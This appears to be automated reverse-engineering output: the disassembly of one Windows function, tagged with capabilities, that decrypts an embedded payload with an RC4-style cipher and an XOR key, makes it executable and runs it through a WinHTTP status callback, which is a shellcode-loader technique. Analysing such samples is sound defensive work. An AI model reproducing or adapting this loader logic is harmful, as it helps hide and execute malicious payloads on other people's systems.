Function at 0x140001240
Capabilities:
Allocate or change rwx memory
Encode data using xor
Initialize winhttp library

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x140005018]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
lea rdx, [rsp + 0x140]
mov ecx, 7
lea rax, [0x140003480]
nop dword [rax]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
lea rax, [rax + 0x80]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rax - 0x60]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rax - 0x50]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rax - 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rax - 0x30]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rax - 0x20]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rax - 0x10]
movups xmmword [rdx - 0x20], xmm0
movups xmmword [rdx - 0x10], xmm1
sub rcx, 1
jne 0x140001280
movups xmm0, xmmword [rax]
movzx ecx, word [rax + 0x20]
lea rbp, str.irfjie934ede
movups xmm1, xmmword [rax + 0x10]
mov rdi, 0xffffffffffffffff
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov word [rdx + 0x20], cx
inc rdi
cmp byte [rdi + rbp], 0
jne 0x1400012f7
mov esi, pe_nt_image_headers64
lea rcx, [rsp + 0x40]
mov r8d, esi
xor edx, edx
xor ebx, ebx
call sub.VCRUNTIME140.dll_memset
xor r8d, r8d
lea r10, [0x140006600]
xor r9d, r9d
nop dword [rax]
nop word [rax + rax]
xor edx, edx
mov byte [r9 + r10], r8b
mov eax, r8d
lea r9, [r9 + 1]
div edi
inc r8d
movzx eax, byte [rdx + rbp]
mov byte [rsp + r9 + 0x3f], al
cmp r8d, esi
jl 0x140001330
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rsp + rdx + 0x40]
movzx r8d, byte [rdx + r10]
add ebx, eax
add ebx, r8d
and ebx, 0x800000ff
jge 0x140001381
dec ebx
or ebx, 0xffffff00
inc ebx
movsxd rcx, ebx
movzx eax, byte [rcx + r10]
mov byte [rdx + r10], al
inc rdx
mov byte [rcx + r10], r8b
sub rsi, 1
jne 0x140001360
lea rax, [0x140006700]
mov rcx, r10
lea edx, [rsi + 2]
nop word [rax + rax]
lea rax, [rax + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
lea rcx, [rcx + 0x80]
movups xmmword [rax - 0x80], xmm0
movups xmm0, xmmword [rcx - 0x60]
movups xmmword [rax - 0x70], xmm1
movups xmm1, xmmword [rcx - 0x50]
movups xmmword [rax - 0x60], xmm0
movups xmm0, xmmword [rcx - 0x40]
movups xmmword [rax - 0x50], xmm1
movups xmm1, xmmword [rcx - 0x30]
movups xmmword [rax - 0x40], xmm0
movups xmm0, xmmword [rcx - 0x20]
movups xmmword [rax - 0x30], xmm1
movups xmm1, xmmword [rcx - 0x10]
movups xmmword [rax - 0x20], xmm0
movups xmmword [rax - 0x10], xmm1
sub rdx, 1
jne 0x1400013b0
movzx r8d, byte [0x140006601]
xor r9d, r9d
nop
movzx ecx, r8b
movzx edx, r8b
movzx eax, byte [rcx + r10]
mov byte [0x140006601], al
mov byte [rcx + r10], r8b
movzx r8d, byte [0x140006601]
lea rcx, [r8 + rdx]
movzx eax, cl
movzx eax, byte [rax + r10]
xor byte [rsp + r9 + 0x140], al
inc r9
cmp r9, 0x3a2
jb 0x140001410
movdqa xmm2, xmmword [str.NNNNNNNNNNNNNNNN_]
lea rax, [rsp + 0x150]
xor ecx, ecx
nop dword [rax]
nop word [rax + rax]
movdqu xmm0, xmmword [rax - 0x10]
lea rax, [rax + 0x40]
add ecx, 0x40
movdqa xmm1, xmm2
pxor xmm1, xmm0
movdqu xmmword [rax - 0x50], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x40]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x40], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x30]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x30], xmm1
movdqa xmm1, xmm2
movdqu xmm0, xmmword [rax - 0x20]
pxor xmm1, xmm0
movdqu xmmword [rax - 0x20], xmm1
cmp ecx, 0x380
jb 0x140001470
movsxd rax, ecx
cmp rax, 0x3a2
jae 0x1400014f1
lea rax, [rsp + rax + 0x140]
nop word [rax + rax]
xor byte [rax], 0x4e
lea rax, [rax + 1]
inc ecx
cmp ecx, 0x3a2
jb 0x1400014e0
lea r9, [rsp + 0x30]
mov edx, 0x3a2
mov r8d, 0x40
lea rcx, [rsp + 0x140]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r9d, r9d
mov dword [rsp + 0x20], 0
xor r8d, r8d
lea rcx, str.User_Agent
xor edx, edx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
xor r9d, r9d
lea rdx, [rsp + 0x140]
mov rcx, rax
mov r8d, 0xc00
mov rbx, rax
call qword [sym.imp.WINHTTP.dll_WinHttpSetStatusCallback]
mov rcx, rbx
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.1400017b0
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret